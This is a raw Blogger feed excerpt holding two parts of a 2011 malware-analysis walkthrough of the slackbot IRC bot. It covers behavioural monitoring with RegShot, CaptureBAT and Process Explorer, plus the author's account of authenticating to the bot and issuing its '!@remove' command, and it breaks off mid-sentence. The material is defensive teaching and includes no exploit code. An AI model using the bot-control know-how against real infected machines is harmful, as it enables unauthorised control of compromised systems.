both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-BIMZ-hKHQSg/Thi_ahtzZFI/AAAAAAAAApQ/azue-UU5tRM/s1600/ZH-bot-remote-cmd-execution.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="428" src="http://4.bp.blogspot.com/-BIMZ-hKHQSg/Thi_ahtzZFI/AAAAAAAAApQ/azue-UU5tRM/s640/ZH-bot-remote-cmd-execution.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;To conclude this exercise with today's notes, we studied some code elements of the specimen and were able to understand its command execution flow. We used IDA Pro disassembler and Ollydbg debugger to gain insight into the malware's structure and operations. In the end, we have been able to authenticate and gain control over the bot.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You can now remove the bot from the lab test machine by entering&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;!@remove&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-_x_sBebYQys/ThjdwWsK_pI/AAAAAAAAAp4/_SSFijZBODI/s1600/ZI-bot-removed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="374" src="http://1.bp.blogspot.com/-_x_sBebYQys/ThjdwWsK_pI/AAAAAAAAAp4/_SSFijZBODI/s640/ZI-bot-removed.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Finally. do remember to revert your Windows VM infected with slackbot.exe to a previous clean snapshot.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Though I've tried to cover the analysis process correctly and with as much detail as possible, I am no expert. So in case you find any error, or have questions &amp;amp; feedback, feel free to comment. I'll appreciate it.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-6951963937868145978?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/6951963937868145978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/6951963937868145978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/6951963937868145978'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-ii.html' title='Analyzing malware [ slackbot ] - II'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-AbRcnGU4Z3U/ThityFmhY4I/AAAAAAAAApE/6UbQz6pcEAs/s72-c/1-ida-start-1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-533620272379389356</id><published>2011-07-10T04:16:00.004+05:30</published><updated>2011-08-03T03:49:05.407+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='slackbot'/><category scheme='http://www.blogger.com/atom/ns#' term='IRC bots'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing malware'/><category scheme='http://www.blogger.com/atom/ns#' term='behavior analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Reverse Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='Dissecting malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware behavior analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='bot analysis'/><title type='text'>Analyzing malware [ slackbot ] - I</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Before starting along these analysis posts, I suggest you to read &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-begin.html"&gt;this&lt;/a&gt; post in order to gain understanding of the methodology to reverse engineering malware, my malware lab setup, &amp;amp; study resources.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;Behavioral&amp;nbsp;Analysis&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In this phase, we will observe the various behaviors exhibited by the specimen. We will monitor the following:&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;1. File system changes&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;-&amp;gt; Identify and record any additions, updates, deletes made to the file system and registry by the specimen&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;2. Network access&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;-&amp;gt; Identify and record any new listening ports, and outgoing connection attempts&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;: IP addresses, ports, and services.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Before starting analysis and / or executing the &lt;a href="http://en.wikipedia.org/wiki/Malware"&gt;malware&lt;/a&gt; specimen, we must document the &lt;a href="http://en.wikipedia.org/wiki/Md5sum"&gt;md5sum&lt;/a&gt; / &lt;a href="http://en.wikipedia.org/wiki/Sha1sum"&gt;sha1sum&lt;/a&gt; of the executable. We will see why, in a moment.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-0mxMJLeIv98/ThQ53zhvkbI/AAAAAAAAAmo/YlbxlbdKbWs/s1600/md5_1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="162" src="http://2.bp.blogspot.com/-0mxMJLeIv98/ThQ53zhvkbI/AAAAAAAAAmo/YlbxlbdKbWs/s640/md5_1.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We will now use &lt;b&gt;RegShot&lt;/b&gt; to take snapshots of Windows registry. You can get it from sourceforge [ &lt;a href="http://sourceforge.net/projects/regshot/"&gt;http://sourceforge.net/projects/regshot/&lt;/a&gt; ]&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From the RegShot project page,&lt;/span&gt;&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Regshot is an open-source(GPL) registry compare utility that allows you to quickly take a snapshot of your registry and then compare it with a second one - done after doing system changes or installing a new software product.&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Remember to check 'Scan dir1' as this will enable monitoring any changes made to C:\. If you have multiple locations you'd like to include, you can put them along with C:\. This first shot will act as a baseline of a clean system, i.e. before infection from the malware.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-HW29jBWxFcU/ThQ6W3p2jdI/AAAAAAAAAms/Tr8ggM5m_pM/s1600/regshot1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="470" src="http://4.bp.blogspot.com/-HW29jBWxFcU/ThQ6W3p2jdI/AAAAAAAAAms/Tr8ggM5m_pM/s640/regshot1.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-IpP6YMu9qAg/ThQ6XWfnfKI/AAAAAAAAAmw/Xcidz5RNKc8/s1600/regshot2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="468" src="http://1.bp.blogspot.com/-IpP6YMu9qAg/ThQ6XWfnfKI/AAAAAAAAAmw/Xcidz5RNKc8/s640/regshot2.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Next, we are going to use &lt;b&gt;CaptureBAT&lt;/b&gt;. This utility is freely available from the Honeynet project&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;[ &lt;a href="https://www.honeynet.org/node/315"&gt;https://www.honeynet.org/node/315&lt;/a&gt; ]&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From the CaptureBAT project site,&lt;/span&gt;&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This is a behavioral analysis tool of applications for the Win32 operating system family. Capture BAT is able to monitor the state of a system during the execution of applications and processing of documents, which provides an analyst with insights on how the software operates even if no source code is available. Capture BAT monitors state changes on a low kernel level and can easily be used across various Win32 operating system versions and configurations. CaptureBAT is developed and maintained by Christian Seifert of the NZ Chapter.&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-TQJj-a2bhTQ/ThQ7TE6lIiI/AAAAAAAAAm4/Qz5X4GGlPPc/s1600/capture1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="312" src="http://2.bp.blogspot.com/-TQJj-a2bhTQ/ThQ7TE6lIiI/AAAAAAAAAm4/Qz5X4GGlPPc/s640/capture1.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We have configured CaptureBAT to log any read / write access attempts to registry, as well as log network traffic.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Open up '&lt;b&gt;Process Explorer&lt;/b&gt;' - procexp.exe. Process Explorer is a handy utility by Sysinternals, now under Microsoft umbrella.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From the Process Explorer project site [ &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896653"&gt;http://technet.microsoft.com/en-us/sysinternals/bb896653&lt;/a&gt; ],&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Once all the monitoring is in place, go ahead and execute the malware specimen and wait for 30-60 seconds. You will find that slackbot.exe actually spawned another process '&lt;i&gt;&amp;lt;random_chars&amp;gt;.exe&lt;/i&gt;'. The process name is a random text. Kill this process by selecting it in Process Explorer, right click and 'Kill Process.'&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Stop CaptureBAT by pressing 'Return / Enter' key.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;Post Infection&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's take second snapshot of the registry now.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-4Okm9oNIkrg/ThQ8z8yofII/AAAAAAAAAnE/_P8Y6F0ZbLY/s1600/regshot3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="351" src="http://1.bp.blogspot.com/-4Okm9oNIkrg/ThQ8z8yofII/AAAAAAAAAnE/_P8Y6F0ZbLY/s400/regshot3.JPG" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Dl5HXgdVV7M/ThQ8d1aTWwI/AAAAAAAAAnA/_E43i0WaY9o/s1600/regshot5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/-Dl5HXgdVV7M/ThQ8d1aTWwI/AAAAAAAAAnA/_E43i0WaY9o/s400/regshot5.JPG" width="391" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Once second snapshot is taken, you'll notice that 'Compare' button has highlighted. Go ahead &amp;amp; press 'Compare'. This will compare snapshots before and after malware infection. The output file is stored in C:\, as it's set the Output path.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-e7wdu7vpbUc/ThQ90XNk1yI/AAAAAAAAAnI/gMv66Qn3BtA/s1600/regshot6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="400" src="http://4.bp.blogspot.com/-e7wdu7vpbUc/ThQ90XNk1yI/AAAAAAAAAnI/gMv66Qn3BtA/s400/regshot6.JPG" width="388" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-JWFWwslXzAM/ThQ91YJ501I/AAAAAAAAAnM/k-5cDiWRxpM/s1600/regshot7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="308" src="http://2.bp.blogspot.com/-JWFWwslXzAM/ThQ91YJ501I/AAAAAAAAAnM/k-5cDiWRxpM/s640/regshot7.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;RegShot output log shows us all the keys that were added, modified and deleted by the specimen.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's also look at CaptureBAT log output.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&lt;a href="http://2.bp.blogspot.com/-xhOu4nt1C88/ThQ_NJ_42iI/AAAAAAAAAnY/0uMHU15Myek/s1600/capture_log.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="376" src="http://2.bp.blogspot.com/-xhOu4nt1C88/ThQ_NJ_42iI/AAAAAAAAAnY/0uMHU15Myek/s640/capture_log.JPG" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-NpoZKMC82Y8/ThQ_MJQygHI/AAAAAAAAAnU/9bqAQbF3_e8/s1600/capture2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="491" src="http://2.bp.blogspot.com/-NpoZKMC82Y8/ThQ_MJQygHI/AAAAAAAAAnU/9bqAQbF3_e8/s640/capture2.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;CaptureBAT log output clearly shows the malware specimen has accessed the file system, added new files, and modified existing files. Any network traffic sent out is also captured in the form of .pcap files, which can be opened up in &lt;a href="http://www.wireshark.org/about.html"&gt;Wireshark&lt;/a&gt;. CaptureBAT also saves any deleted files and modified files retaining the appropriate directory structure where the change occurred. Also, notice in the log, that the slackbot.exe creates a new process, &lt;b&gt;mmra.exe&lt;/b&gt;, in C:\WINDOWS\ directory, and then kills itself.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's take a &lt;b&gt;md5sum&lt;/b&gt; of this new executable.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;u&gt;Note:&lt;/u&gt;&amp;nbsp;I ran the malware once more during testing, so the new exe name will be different in the following screen caps. Just FYI... the file name does not really matter.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Ohkf7RDTYYQ/ThRDl-TSvXI/AAAAAAAAAnc/ZmMdiYlOOLY/s1600/md5_2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="310" src="http://3.bp.blogspot.com/-Ohkf7RDTYYQ/ThRDl-TSvXI/AAAAAAAAAnc/ZmMdiYlOOLY/s640/md5_2.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;When we started above with md5sum, I had mentioned we will see the necessity of md5sum during malware analysis in a moment. Here it is... we see that the md5sum of both the original specimen exe and the new executable &lt;b&gt;nwhyy.exe&lt;/b&gt;, which was spawned out from the &lt;b&gt;slackbot.exe&lt;/b&gt;, has the same md5. This means that both the files are exactly the same. The slackbot.exe simply copied itself over to C:\WINDOWS.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now let's take a pause and review what we have found until now.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;1. The malware specimen is creating a copy of itself and runs from the new location [ C:\WINDOWS\ ]&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;2. Registry entries are modified to start the specimen exe once the system starts&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;3. There is a potential outbound network access attempted&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: 